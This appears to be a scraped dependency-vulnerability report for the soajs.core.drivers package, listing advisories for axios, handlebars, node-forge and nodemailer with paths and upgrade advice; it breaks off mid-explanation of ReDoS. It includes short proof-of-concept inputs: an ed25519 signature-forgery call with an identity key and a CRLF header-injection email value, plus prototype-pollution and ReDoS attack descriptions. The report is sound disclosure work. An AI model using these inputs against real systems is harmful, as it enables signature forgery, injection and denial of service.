Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.
Note:
This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Prototype Pollution in the protoAccessControl function. An attacker can gain unauthorized access to prototype methods by referencing __lookupSetter__ in templates through untrusted input.
Note: This is only exploitable if the allowProtoMethodsByDefault option is set to true.
Workaround
This vulnerability can be mitigated by not enabling the allowProtoMethodsByDefault option, or by ensuring templates do not reference __lookupSetter__ through untrusted input.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the lookup function. An attacker can access properties that should be restricted by bypassing prototype-access controls through a time-of-check time-of-use (TOCTOU) flaw, where the security check and the actual property access are decoupled.
Note: This is only exploitable if the { compat: true } compile option is enabled.
Workaround
This vulnerability can be mitigated by avoiding the { compat: true } option and ensuring context data objects are plain JSON without Proxies or getter-based accessor properties.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the modes.cbc.prototype.unpad and modes.ecb.prototype.unpad methods in lib/cipherModes.js. An attacker can have malformed ciphertext accepted as valid and silently strip up to four blocks of trailing plaintext, by manipulating the final bytes of malleable CBC or ECB ciphertext, because the unpadding reads only the last byte as the padding count, rejects it only when it exceeds four blocks, and never verifies that the remaining padding bytes equal that count. This matters only when the application relies on decipher.finish() to decide whether decrypted data is valid, and the added capability is small because unauthenticated CBC and ECB ciphertext is already malleable.
Workaround
This vulnerability can be avoided by authenticating CBC or ECB ciphertext with an HMAC before decrypting, or using an authenticated mode such as AES-GCM, which removes the reliance on padding validity to detect tampering.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the certificate.verify method in lib/x509.js. An attacker can relabel an existing PKCS#1 v1.5 certificate as RSASSA-PSS and still have it pass chain verification, by altering the unsigned outer signatureAlgorithm field, because _verifySignature() selects the padding scheme from the issuer certificate's signatureOid and signatureParameters rather than from the scheme the child certificate declares. The signature must still come from the issuer's key, so no forgery is possible, and this only matters to applications that make decisions based on a certificate's declared signature algorithm, such as a policy that accepts only RSASSA-PSS.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via ed25519.verify() in lib/ed25519.js, which does not reject public keys of small order. crypto_sign_open() decodes the public key A with unpackneg(), which only checks that the point is on the curve, and never validates that the key is not a small-order point (the identity point or the other 7 points of order 2, 4, or 8, including non-canonical encodings with y >= p). An attacker who can supply the public key can present a small-order key together with a signature where S = 0 and a small-order R, causing the verification equation R == [k](-A) to hold for many or all messages without knowledge of any private key. For the identity key specifically, the fixed signature R = identity, S = 0 verifies for every message.
PoC
Identity public key `A = 01 00 … 00` (32 bytes) and signature `R = 01 00 … 00`, `S = 00 … 00` (64 bytes):
forge.ed25519.verify({message: 'admin=true', encoding: 'utf8',
signature: SIG, publicKey: IDENTITY});
// <= 1.4.2: true for any message; node:crypto.verify(): false
// 1.4.3: false
Other small-order public keys (orders 2, 4 and 8, and non-canonical encodings) give forgeries for many messages with `S = 0` and a small-order `R`.
Regression tests are in tests/unit/ed25519.js, and the reporter's PoC is in tests/pocs/ghsa-6889-vf6x-f3g5.js.
Remediation
Upgrade node-forge to version 1.4.3 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the derToOid function in the asn1.js file, which decodes ASN.1 structures containing OIDs with oversized arcs. An attacker can bypass security decisions based on OID validation by crafting malicious ASN.1 data that exploits 32-bit bitwise truncation.
Remediation
Upgrade node-forge to version 1.3.2 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the asn1.oidToDer function in lib/asn1.js. An attacker can make the encoder emit DER for a different, trusted OID than the string the application validated, by supplying an OID whose first two arcs are out of range, because oidToDer computes 40 * arc1 + arc2 and writes the result with putByte(), which keeps only the low 16 bits, so 0.42.840.113549.1.1.1 encodes to the DER for 1.2.840.113549.1.1.1 (rsaEncryption). This affects only applications that accept untrusted OID strings, validate them as strings, and then encode them with node-forge into structures such as certificates or CSRs, while decoding DER is unaffected.
Note: This is a bypass of the fix for the vulnerability described in CVE-2025-66030.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Modification of Assumed-Immutable Data (MAID) in the pki.verifyCertificateChain function in lib/x509.js. An attacker can permanently disable verification against an affected trusted CA by presenting a certificate whose issuer name matches a subject shared by two or more CAs in the store, because the function calls parents.shift() on the live array returned by caStore.getIssuer() (the store's internal caStore.certs[hash]), removing every candidate CA it examines, including the one that ultimately verifies the chain. Exploitation requires a long-lived CA store that holds two or more certificates with the same subject name and is reused across verifications, such as a forge.tls client sharing one caStore object across connections, a condition that mostly arises in private PKIs with re-keyed or renewed CAs that kept their name. The failure mode is availability only: subsequent valid chains under the drained CA are rejected, verification against other trusted CAs continues to work, and no invalid chain is ever accepted.
Workaround
This vulnerability can be avoided by using a fresh CA store for each verifyCertificateChain() call, or by passing the trusted certificates to forge.tls.createConnection() as an array rather than sharing a single long-lived caStore object across connections.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
medium severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution in the client.setCookie function in lib/http.js. A malicious server can add or delete Object.prototype and Object properties across the entire JavaScript realm by returning a Set-Cookie header named __proto__ or constructor, because the forge.http cookie store keys a plain object by cookie name and path and tests membership with the in operator, and an empty cookie value routes to client.removeCookie to delete inherited properties. This is reached only when the application uses forge.http, or forge.xhr through the forge.all browser bundle, which require('node-forge') does not load, and the empty-value deletion path skips the secure-flag and domain checks, so it also works for plain http:// clients.
Workaround
This vulnerability can be avoided by stripping Set-Cookie response headers whose cookie name or path is __proto__, constructor, or another Object.prototype property name before they reach the client, for example at a reverse proxy.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the forge.debug API if called with untrusted input.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.0.16.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
PoC:
const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});
Remediation
Upgrade nodemailer to version 6.6.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the isPartialResponse function and the _onData method of SMTPConnection in src/smtp-connection/index.ts, where each continuation line is appended to the same response queue entry and the partial check re-runs str.slice(str.lastIndexOf('\n') + 1) over the whole accumulated string, forcing a full flatten of the V8 rope on every line. An attacker who controls or impersonates the SMTP peer can starve the event loop of the entire Node.js process, halting every other connection, request, and timer in it, and grow memory without bound, by streaming continuation lines such as 220-flood and never sending a completion line. This is reachable during the greeting and EHLO phases before the client authenticates or issues any command, the connection module applies no cap on accumulated reply size or line count, and the existing timers do not help, since greetingTimeout fires into an already starved loop and the inactivity socketTimeout resets on every inbound chunk.
Remediation
Upgrade nodemailer to version 10.0.10 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AUTH mechanism detection of SMTPConnection._actionEHLO in src/smtp-connection/index.ts, where all four patterns contain (?:(\s+|=)[^\n]*\s+|\s+|=) before the mechanism literal, so [^\n]* and the trailing \s+ compete for the same whitespace and the engine tries every partition of the run before failing. An attacker who controls or intercepts the SMTP peer can stall the whole Node.js process, suspending every other request, timer, and connection in it, by answering EHLO with a line such as 250-AUTH followed by a long whitespace run and a token that matches no mechanism. This is reached before authentication on the first EHLO against a server offering no STARTTLS, on the second after a STARTTLS upgrade, or on the first when ignoreTLS is set, and the synchronous stall cannot be interrupted by the socket timeout, with roughly 4,000 whitespace characters already costing tens of seconds per pattern.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
